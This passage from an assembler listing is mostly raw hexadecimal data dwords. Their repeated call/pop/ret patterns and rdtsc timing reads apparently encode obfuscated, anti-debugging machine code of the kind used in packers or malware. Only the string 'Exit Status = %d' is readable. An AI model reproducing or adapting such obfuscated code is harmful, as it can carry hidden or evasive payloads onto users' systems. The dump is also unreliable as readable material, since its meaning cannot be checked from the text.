dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2E73E900h, 0B5090000h, 61B1E79h, 359D8BFCh, 8B061B2Ch dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 10653100h, 14E9h, 0F7903C00h, 113451D5h dd 0A21E157Ch, 0C2CAFEA2h, 0F35D6709h, 83FC8A33h, 1B23D1BDh dd 9750006h, 3129BD83h, 7400061Bh, 8B535013h, 1B8C0h, 9D8D0000h dd 61DA4EFh, 585BD3FFh, 3129BD83h, 7400061Bh, 0B8535011h dd 1, 0A3A09D8Dh, 0D3FF061Dh, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A88FA5C3h dd 3870F5Ah, 66000000h, 0C281D78Bh, 572A0149h, 23A59D8Bh dd 8EBB061Bh, 8B3DCB32h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 57030496h, 0EBDB589h dd 0F5A061Bh, 9589D8BFh, 61B1BF5h, 110DBD83h, 0F00061Bh dd 21284h, 0C59D8B00h, 0F9061B32h, 0BA5BD83h, 0F00061Bh dd 1FE84h, 21958B00h, 66061B0Ah, 6011EFBAh, 858BF78Ah dd 61B0BA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 78C35040h, 47457D85h, 1D4FF34h, 1B325D8Dh, 3E80506h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 84E9E8C3h, 4EE4BA66h, 0A58EE6BBh, 0DEBF0F1Eh dd 50DE8B90h, 52505250h, 310F5A57h, 310F585Ah, 6E8h, 0AAEEEC00h dd 607B2BAFh, 585A5B61h, 10E990h, 34120000h, 7F681BD8h dd 66FC6B2Bh, 0E1649F47h, 858D759Dh, 61B4CAFh, 0C1E38166h dd 890F501Dh, 5, 8F1048BAh, 2404891Fh, 23F99D23h, 858D061Bh dd 61B4C8Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 44C35646h, 9A38EBC9h, 4A072A2Fh, 819D8B93h, 0BA061B32h dd 738190Fh, 1819958Bh, 6050061Bh, 59DF8B52h, 12E8h, 0A28FBF00h dd 69946C69h, 3A747FEh, 74702F00h, 58854999h, 24048961h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F5C35747h dd 14EFFE41h, 0BAC0B7D0h, 4703612h, 2D7195FFh, 0D78B061Bh dd 6A0CC483h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 2CEC351h, 958B2630h, 61B09A9h dd 4C8D858Dh, 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 909C14C3h, 69E125BBh, 0D38B5073h dd 0A19D8990h, 6A061B16h, 50006A02h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0BA4109Ch dd 0F5D28DA2h, 857495FFh, 6A0068h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 658C23C3h, 61D24B8Dh dd 38E951BBh, 0C769B75Bh, 1B4CC085h, 106h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 519526A3h, 875A8874h, 0AC1CF381h, 0E8964202h, 0Fh, 1C384D28h dd 99996497h, 0A1667E84h, 5B3D4B26h, 8B666050h, 61CA8AC1h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 9CC33D52h, 3B500863h, 71B5893Dh, 0E9061B4Ch dd 6, 0ED2268C8h, 0BD833B77h, 61B1CD5h, 1B850F01h, 8B000000h dd 1B026195h, 5F88306h, 0C850Fh, 9D8B0000h, 61B2F71h, 0B8h dd 0BD83F800h, 61B0405h, 11840F00h, 29000000h, 1B192985h dd 0B806h, 9D8B0000h, 61B01ADh, 8BDE8A60h, 1B1B9D9Dh, 31858B06h dd 9061B30h, 1B3185B5h, 2C08306h, 1E899D23h, 8589061Bh dd 61B4C69h, 0D298589h, 0C6061Bh, 0CAD680FFh, 239D85C6h dd 6A53061Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0D3BC353h, 0C4F1D7A0h, 9D2B6029h dd 61B0941h, 12E58D89h, 6861061Bh, 7E6B4C00h, 50525060h dd 5A310F52h, 0F310F58h, 81h, 50585A00h, 615A6160h, 0D8240481h dd 6A7E45FCh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0D088C351h, 459D89EAh, 0FF061B32h dd 1B2F11B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 3B8C8C1h, 0F3106163h, 89958914h dd 81061B1Dh, 2E4F5AC3h, 46858D0Bh, 6A061E70h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 2104C355h, 12B1848Ah, 807DCC02h, 0F60A5CBh, 285h, 0F9616000h dd 6AD0FF61h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 1FD7C351h, 0BB9530E7h, 5810F31h dd 0BB000000h, 37AB5282h, 8589F88Ah, 61B2205h, 0B919529h dd 0BD83061Bh, 61B16C1h, 8850F01h, 0B000001h, 1B214995h dd 0C6F56106h, 1B239D85h, 6A4506h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0ECE0E4C3h, 0B70F098Fh dd 3810FD3h, 80000000h, 9168E9F7h, 60B29B4Ah, 0BE85250h dd 0D4000000h, 1821C272h, 0B6E04E34h, 0F5E074Ch, 9E931h dd 439A0000h, 4F53CE2h, 5AAC8118h, 0BE858h, 0A8690000h dd 0B29A3A4h, 0C93DD0F1h, 0F4B86692h, 81615F8Bh, 0EE312404h dd 8B6627C4h, 11B5FFDFh, 1061B2Fh, 1B1855BDh, 46858D06h dd 29061E70h, 1B2E519Dh, 6AD0FF06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D449C353h dd 564D06CFh, 5E9BCh, 0FF0000h, 6A4754CBh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0D950B1Ah, 0F061B2Ah, 0F89h, 0AE900h, 546F0000h, 8BFA5B4Bh dd 0BECAE279h, 83FCD0FFh, 1B003DBDh, 850F0106h, 0CDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h, 858BFD51h dd 61B3031h, 7DE976B2h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89B2C351h dd 1B1F11BDh, 0BE89006h, 67000000h, 7D74660h, 0BA85651h dd 8B66A786h, 8A505BD6h, 6A90F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 99BD6EC3h, 4D62E3A0h dd 66A6DE7Ah, 763CCB81h, 0BF0F146Ah, 595FFD8h, 81061B22h dd 4B2C15DAh, 0B5895845h, 61B1BF5h, 0F003880h, 0FFFF9C85h dd 0D850FFFh, 0E9000000h, 8, 0B2F0DB92h, 739B10Dh, 890100C6h dd 1B0A619Dh, 6A6106h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0C90613C3h, 0A19501B5h, 89061B1Eh dd 1B11218Dh, 35952306h, 83061B11h, 1B0DA1BDh, 840F0006h dd 5Dh, 0CE8h, 0AB210700h, 6B377C6Bh, 2A381B88h, 0E1BD09FAh dd 5B061B18h, 0C381FF6Ah, 4CF6BED2h, 220595FFh, 6A061Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0E3EA4DC3h, 7E8h, 0C77A8C00h, 0E2A7C0D1h, 0F3DBD01h dd 0E95A061Bh, 0FFFFFFBCh, 0A185C7FCh, 1061B0Dh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 408BC355h, 0DDAA044Fh, 0B9A40EA9h, 4C758589h dd 0B70F061Bh dd 8B6050D9h, 48961CFh, 0BD950324h, 60061B1Ch, 31B59589h dd 56A061Bh, 899D2353h, 5A061B1Ah, 4C8D858Dh, 0DE8B061Bh dd 8B666090h, 0F5061F0h, 8Dh, 0F509000h, 0B80h, 5E800h dd 0A7DD0000h, 5A3E37F9h, 7D858D5Ah, 0E9061B4Ch, 13h, 0B8A365C2h dd 433DD254h, 0B356AAAFh, 252BA125h, 904326A9h, 0B650DE8Ah dd 0BA66908Ah, 95FF8F33h, 61B2C1Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0B2C35242h, 85896035h, 61B0C8Dh dd 7ACC8D8Dh, 0BF8061Bh, 8D1174C0h, 1B4C8D85h, 0D1FF5006h dd 4CAB8589h, 0AEB061Bh, 4CAB85C7h, 0FFFF061Bh, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0F694E3C3h, 17049A77h, 820FC66Fh, 6, 0C118589h, 8061061Bh dd 85C6ECD7h, 61B239Dh, 0CE84Dh, 0EF5F0000h, 77AFA6AFh dd 0E6CE558Dh, 0DE9B8A7h, 0CB000000h, 0C9D9AD8Ch, 70903F96h dd 0C6D9A02Fh, 90CA685Ah, 3481F3B7h, 82E66224h, 57006A57h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0B5FFF95Dh, 61B29C1h, 0B95958Bh, 858D061Bh, 61E7046h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 15C35343h dd 51D0FF63h, 0AE9h, 0B5F5EF00h, 7EBC3C5Bh, 5A5F566Eh dd 2F798589h, 8E0F061Bh, 6, 0A45B589h, 85C6061Bh, 61B239Dh dd 0DEE38045h, 18101A68h, 814CB394h, 79732434h, 6A1A6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0A1B970C3h, 9D8B2CF7h, 61B0D85h, 2F11B5FFh, 8B66061Bh dd 0FE8D0h, 2C150000h, 691097B8h, 0F5AC3F82h, 313A1FF4h dd 10E91Fh, 41DF0000h, 4F64FD00h, 0E06D2CD8h, 288E479Fh dd 8D5A1201h, 1E704685h, 89D0FF06h, 1B2FBD85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 37D431A1h, 697B34B3h, 9D09868Bh, 61B0751h, 8166D28Bh dd 661692E3h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0B1803CC3h, 66EC1FD6h, 0C1F6D98Bh dd 5F840F04h, 0E8000002h, 0Eh, 6C787C9Eh, 0F9A1E375h, 0F2B4359h dd 0F51A321h, 5A5ADBBFh, 160E9h, 4ACB8100h, 8B5A06DDh dd 1B22B1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 80C68167h, 89000011h, 1B03B19Dh dd 0A1BD8306h, 61B2Fh, 78850Fh, 11E80000h, 6000000h, 3A71F74Ch dd 5E790F13h, 30E6D155h, 3276B79Ah, 0BE9h, 0D3A02900h dd 0C262563Bh, 0BED7B731h, 890F575Bh, 17h, 12E9h, 8073EA00h dd 0C6CC9D0Eh, 856F6C4Ah, 0A8C5525Ah, 5B764AD0h, 0C8E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 6B04006h, 0D89AE318h, 0D8B70F91h, 21C1CB81h dd 3E835414h, 92840F00h, 8A000000h, 6A60F9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 22CB86C3h dd 89146A3Eh, 1B1DADB5h, 595FF06h, 0E9061B22h, 11h, 3D8B1EBCh dd 0BD7EFD02h, 5027B569h, 0E5A78960h, 8E86027h, 0BE000000h dd 209A1BB2h, 66B151C8h, 5906D2BAh, 16698529h, 6161061Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BC35646h dd 0CE39F60Eh, 1245950Bh, 6BE9061Bh, 8BFFFFFFh, 1B14259Dh dd 106C706h, 9000000h, 1B2D15BDh, 75BD8306h, 5061B4Ch dd 0D4850Fh, 7E90000h, 23000000h, 385CA369h, 0B58B08F5h dd 61B2FBDh, 2B699503h, 64B9061Bh, 0E8000000h, 10h, 7A5A9D64h dd 0B0F6E785h, 59AE92BCh, 3945E71Ah, 0B119D8Bh, 8A5B061Bh dd 0E83E80FDh, 11840Fh, 958B0000h, 61B1F39h, 27E9h, 0BDB58900h dd 80061B07h, 0FC2057Eh, 6984h, 12E900h, 7E170000h, 59167917h dd 0D1C59572h, 401E43B6h, 1D602458h, 6D9D8946h, 89061B0Dh dd 1B323995h, 850F4906h, 0FFFFFFB1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0DCC35141h, 1330D574h, 604AD8DDh dd 11C99D09h, 8166061Bh, 61A18CF2h, 1B69BD89h, 0FE9061Bh dd 0F000000h, 0B589DFBFh, 61B2979h, 1F58589h, 5158061Bh dd 5B616056h, 0E5BD835Bh, 61B07h, 103840Fh, 860F0000h dd 21h, 14E960h, 8F880000h, 755E19D5h, 1545DB8Dh, 4B3B962Dh dd 0A01B9070h, 9D311A15h, 61B0285h, 0EE861h, 0A8380000h dd 687135EDh, 58CD9165h, 36B3F9EBh, 11E8h, 1E529D00h, 0A1BAD141h dd 0FCC62632h, 0DFAB1533h, 8531A791h, 61B2DB5h, 8B605B5Ah dd 1B33219Dh, 9D85C606h, 54061B23h, 2018589h, 968061Bh dd 0B3B2E852h, 24048110h, 4C666CEBh, 0D359D8Bh, 0B5FF061Bh dd 61B2F11h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0C35747h, 2E724824h, 0F4BC92CAh, 6830Fh, 9D230000h dd 61B1081h, 7046858Dh, 950B061Eh, 61B29C5h, 8B66D0FFh dd 6A006AD8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 5344C357h, 7E5B5FFh, 0E6BB061Bh dd 0FF7B6434h, 5BFC52D0h, 0B5DBD89h, 8B61061Bh, 1B105595h dd 6985C706h, 1061B17h, 8B000000h, 1B037195h, 6A6006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 809DBFC3h, 4E8DBD7h, 80000000h, 60000000h, 0C18A5250h dd 585A310Fh, 506194B4h, 0F3E288BBh, 24448B35h, 9E804h dd 2AEF0000h, 0DAF0D347h, 60BFD70Eh, 5250C68Bh, 585A310Fh dd 8B5B61h, 0A7E426BBh, 2444896Ah, 0CF805804h, 8BFF6A5Eh dd 9D8B52D3h, 61B31A1h, 0A595FF5Bh, 0F061B11h, 680h, 0D5B58900h dd 61061B13h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 75C35343h, 4F5D4B06h, 0B14D43BBh, 65952379h, 90061B1Ah dd 8840Fh, 880F0000h, 2, 66506160h, 90F826BBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 87C35242h, 858B6890h dd 61B069Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 16C35242h, 8AD06816h, 0E6805E6Dh, 0FC00B8Ch, 3284h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0F8605BE5h, 1F198589h, 0FF61061Bh, 1B0A7D95h dd 158D8906h, 0C7061B24h, 1B1BED85h, 106h, 699D8900h, 0BB061B0Ah dd 4E74D2B0h, 2519BD83h, 0F00061Bh, 2F84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 8AAB1A55h, 71B78F76h, 1F4D95FFh, 958B061Bh, 61B0081h dd 1E1BD83h, 0F00061Bh, 2D84h, 0FFDA8A00h, 1B2C7D95h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0FF910797h, 8B56B9ABh, 0BD835BD9h, 61B1815h, 65840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h dd 0C376C352h, 0E96E68Fh, 0B195315Bh, 0B2061B17h, 31BD8314h dd 61B0Dh, 2E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0FE2A54C3h, 0F1664E82h dd 321595FFh, 0BD31061Bh, 61B1A65h, 0CD9BD83h, 0F00061Bh dd 2784h, 0CA816600h, 858106A7h, 61B2DA1h, 4003h, 0D4D9D8Bh dd 8581061Bh, 61B2131h, 4003h, 8D0118B6h, 61B0DA5h, 820F310Fh dd 3, 8DD7B70Fh, 1B5D258Dh, 1D952906h, 89061B22h, 0DDB58901h dd 89061B1Ch, 1B1D0195h, 6AC23306h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0EBF5C355h dd 0A5486D64h, 9503725Ah, 61B0395h, 10E8h, 50935F00h, 77204F1Ch dd 7DE24A94h, 5CBF144Ch, 0D6A0BA34h, 895B6E77h, 958B0441h dd 61B32FDh, 9589310Fh, 61B12D9h, 5D358D8Dh, 0B589061Bh dd 61B2C5Dh, 0D88B0189h, 0BF0FC233h, 44189DFh, 0B69BD83h dd 0F00061Bh, 2484h, 0D88B6600h, 0AE9h, 0C9889900h, 0C23544F7h dd 0FF600CFAh, 1B0A0995h, 68D0F06h, 89000000h, 1B127D8Dh dd 0EDBD8306h, 1061B0Ch, 6B850Fh, 0FE90000h, 38000000h dd 3948F133h, 90A4B758h, 9883402Fh, 52E9A5E8h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F5E0C353h, 60EDBC0h, 0B298589h, 0B58B061Bh dd 61B5E2Dh, 6C7h, 0B58B0000h, 61B5C2Bh, 6C7h, 29CF0000h dd 1B16ADBDh, 6870F06h, 1000000h, 1B140D9Dh, 0EDBD8306h dd 61B1Bh, 14A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6071BDC3h, 0F68088E0h dd 259D8B17h, 83061B22h, 1B02ADBDh, 850F0106h, 0EFh, 0AE9h dd 8451C500h, 2D11E7F6h, 8BFB6A5Ah, 1B4C698Dh, 0A5950106h dd 0C6061B0Ah, 0A3B70001h, 688CB360h, 0F5F67FB2h, 12E9h dd 0DA073A00h, 7436998Bh, 0E44F20B7h, 0BBF14443h, 8123061Dh dd 80CE2404h, 6A0A09h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 936BA0C3h, 6A47E7BCh, 0FFD6B6FFh dd 1B11A595h, 6E806h, 8DCF0000h, 5599F81Dh, 60F28166h dd 0F615B03h, 981h, 3860F00h, 66000000h, 95FFDF8Bh, 61B3061h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F8C35545h dd 0A9519006h, 9D2BC0AAh, 61B29E1h, 8D8BDE8Ah, 61B4C69h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 10C35343h dd 18C5958Bh, 1FE061Bh, 83DABF0Fh, 1B31CDBDh, 850F0106h dd 18h, 0CA19D8Bh, 880F061Bh, 0Ch, 68A0Fh, 85010000h, 61B0949h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 130CDBC3h, 80C38139h, 0BD83523Eh, 61B23D1h dd 83097500h, 1B3129BDh, 1A740006h, 0C08B5350h, 2DA1858Bh dd 8589061Bh, 61B2DA1h, 0A64D9D8Dh, 0D3FF061Dh, 0BD83585Bh dd 61B3129h, 50187400h, 0A1858B53h, 89061B2Dh, 1B2DA185h dd 3C9D8D06h, 0FF061DA3h, 0F5585BD3h, 8166D98Bh, 8B56ACD3h dd 71BB56C0h, 5B131A27h, 1BEDBD83h, 0F00061Bh, 1085h, 0D68B6600h dd 21E1BD83h, 0F00061Bh, 84h, 0EDBD8300h, 61B1Bh, 5E840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 604A62C3h, 0B5898B03h, 61B3029h, 75DBD83h dd 0F00061Bh, 2B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0FB6DE9F3h, 0F52C5B6h dd 281h, 5A616000h, 1BEDBD83h, 0F00061Bh, 1B84h, 599D3300h dd 33061B21h, 1B17759Dh, 5DBD8306h, 61B07h, 2840Fh, 0FBB70000h dd 1BEDBD83h, 0F00061Bh, 3884h, 0C0816000h, 0A3ED02Eh dd 3AAF0DBBh, 0BD83612Ch, 61B2D79h, 1E840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 8690C350h, 0EDBD83F9h, 61B1Bh, 5C840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0AB0B1BC3h, 99D95D05h, 835FE744h, 1B1201BDh, 840F0006h dd 2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h dd 7C35343h, 0BF0F9EE6h, 9995FFD7h, 66061B07h, 0C08BDE8Bh dd 719503h, 0BD83061Bh, 61B23D1h, 83097500h, 1B3129BDh dd 1A740006h, 0C08B5350h, 2131858Bh, 8589061Bh, 61B2131h dd 0A6B49D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50187400h dd 31858B53h, 89061B21h, 1B213185h, 559D8D06h, 0FF061DA3h dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0A655C356h, 68E0Fh, 0B5090000h dd 61B2C79h, 8BB1D680h, 0EDBD83C0h, 61B1Bh, 5CE840Fh, 0BD010000h dd 61B1721h, 16C1BD83h, 0F02061Bh, 3884h, 0BD83FC00h, 61B0CEDh dd 2A850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 1058C351h, 0FE05F200h dd 33D53ACBh, 1B330595h, 4DBD8306h, 61B33h, 0FB840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 60A480C3h, 9E8h, 0E4ADB900h, 0F02847A9h, 9D8B36D9h dd 61B1955h, 698D8B5Ah, 81061B4Ch, 0F8EB8EF2h, 0E801FE7Ah dd 4, 80h, 50D98B66h, 0FDF08CBAh, 24448B3Eh, 0E9525004h dd 13h, 399209E7h, 3BC80AE2h, 548529F5h, 320148E9h, 0FFE1146h dd 6810F31h, 0F000000h, 84h, 8B585A00h, 6CC0BA00h, 44894736h dd 0BA660424h, 0E8581E02h, 6, 5F0ED217h, 8166FE4Ch, 5AD369EAh dd 6657FF6Ah, 8D3DEA81h, 0A595FF5Ah, 6A061B11h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0CBEFC355h, 0DEF0F7C5h, 3B18D29h, 6A61061Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0B06CC350h, 0D7363A92h, 830F60FCh, 0Ah, 5E9h, 1AD67200h dd 8D8B7A6Eh, 61B4C69h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0A2C35040h, 0ADFC485Eh, 1FEFE8Ah, 7509BA66h dd 942A2668h, 5820F72h, 0BA000000h, 67AF65E5h, 0A6243481h dd 6A72942Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0E73DC351h, 840C5EBEh, 0DE943h dd 79AA0000h, 1933E23h, 1E6E764Bh, 6A965205h, 0D9958BFFh dd 0FF061B03h, 1B11A595h, 14E906h, 19050000h, 0B68672Eh dd 0F6AA4FC6h, 0EEEC51BDh, 7B2BAFAAh, 6A6171D6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 717C350h, 0BD8CD11h, 1B015D9Dh, 0EB816606h, 0BD8D253Eh dd 61B3075h, 8BD7BF0Fh, 6A1C4Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 70AC4CC3h, 2D9D8B4Bh dd 53061B0Fh, 31999D29h, 6A5A061Bh, 51006A01h, 3E8h, 0C3592000h dd 244C8959h dd 24448104h, 1404h, 0C3514100h, 85895364h, 61B11BDh, 860F505Bh dd 1Bh, 11E8h, 21D04500h, 86A0161Eh, 0CB54EFBEh, 9802A6A8h dd 0BA660A91h, 895A0E70h, 0D78B240Ch, 3803858Dh, 1EB3061Eh dd 8BD0FFFCh, 1B2D899Dh, 0AC5EBB06h, 4F8B5F84h, 4DB58920h dd 6A061B08h, 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0E5702604h, 958B61DAh, 61B2ACDh dd 23C59D33h, 9D8B061Bh, 61B3115h, 0DA8B6691h, 2A830F50h dd 50000000h, 0DE952h, 92530000h, 0D192518Bh, 426BA1E5h dd 0FD71D52h, 0DE931h, 82670000h, 0E6EFE05Dh, 0FC199376h dd 5AABC20Ch, 0BF0F9158h, 3858DD8h, 0E9061E38h, 6, 0D0037725h dd 0D0FF261Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 2DC35747h, 1BB17F4Eh, 0C99E2C93h, 75BD8DBDh, 6A061B30h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 81B8C353h, 0BA2B16D2h, 1C4F8B3Bh, 0D559503h dd 6656061Bh, 5BE836BBh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0B9F112C3h, 0BBCCC0F0h dd 8953B12Eh, 1B0F099Dh, 0E9505A06h, 9, 3FFF8542h, 3D80D803h dd 240C8939h, 8DFFC280h, 1E380385h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0BE830h, 31E20000h dd 0FFF7BA57h, 0F5C19BB1h, 0D0B70FF7h, 66D0FF5Bh, 1A7CB81h dd 6A204F8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 800BC350h, 36A87C2h, 0E99180B2h dd 0Ah, 0F88AED87h, 23AC8D2Ch, 5650EAC3h, 28A0Fh, 0CCB30000h dd 6A915Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0C18BA2C3h, 0FD5F45C5h, 0DE8F9h, 0E4620000h dd 0F8B25D74h, 0C9F42F84h, 53D875BBh, 0A5FADA81h, 5B5A6C3Bh dd 0B6DBD89h, 858D061Bh, 61E3803h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0E2C35747h, 93166342h, 0FF2E32B9h dd 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 8B1A358Ch, 0A516DD59h, 8D8BD48Ah, 61B4C69h dd 0B601FEF5h, 0F58529C1h, 8B061B0Eh, 1B4C6985h, 0AAF38106h dd 0FE5A58D9h, 0AE800h, 5F830000h, 86FD9ABh, 6F4ADB3Ch dd 5BDE8B66h, 0EF1958Bh, 16A061Bh, 68C0Fh, 95030000h, 61B0769h dd 0C089D268h, 0FE856D4h, 8F000000h, 98C3D907h, 0FE3FB28h dd 518A3CC9h, 0B8BB0A03h, 5B66B0DEh, 2434815Ah, 2B3F162Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C6C35242h dd 0F1958Bh, 858D061Bh, 61E380Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 52C35040h, 0C7B63D17h, 9518B9Dh dd 1B13BD85h, 0D0FF5A06h, 0B6B6F18Ah, 21E1BD83h, 0F00061Bh dd 0E884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 34AD49F1h, 6647248Dh, 0BD83DF8Bh dd 61B1CD5h, 0B6850F01h, 89000000h, 1B003995h, 8DD88B06h dd 1E38178Dh, 36AF806h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0CBC35040h, 9A6503BAh, 0BB66884Ah, 8529FC0Ch dd 61B2C61h, 0DE8B016Ah, 46B3D1FFh, 6A016Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 971A69C3h dd 8950C642h, 0BA664E37h, 16AB02Ch, 23818589h, 0D1FF061Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E1C35040h dd 950B59B3h, 61B1061h, 21950B51h, 5B061B32h, 405C88E8h dd 498D29FAh, 89061B02h, 1B06999Dh, 6A206A06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 5299C350h, 0AD5EC1C2h, 6AF5C603h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E83D1932h dd 0Ah, 0E9396BD6h, 0C25243Bh, 8B609A35h, 1B1D11B5h, 1DF08106h dd 6150F5E9h, 0A595FF5Bh, 29061B11h, 1B2F25BDh, 0B806h dd 0C00B0000h, 1F840Fh, 81660000h, 837A82F3h, 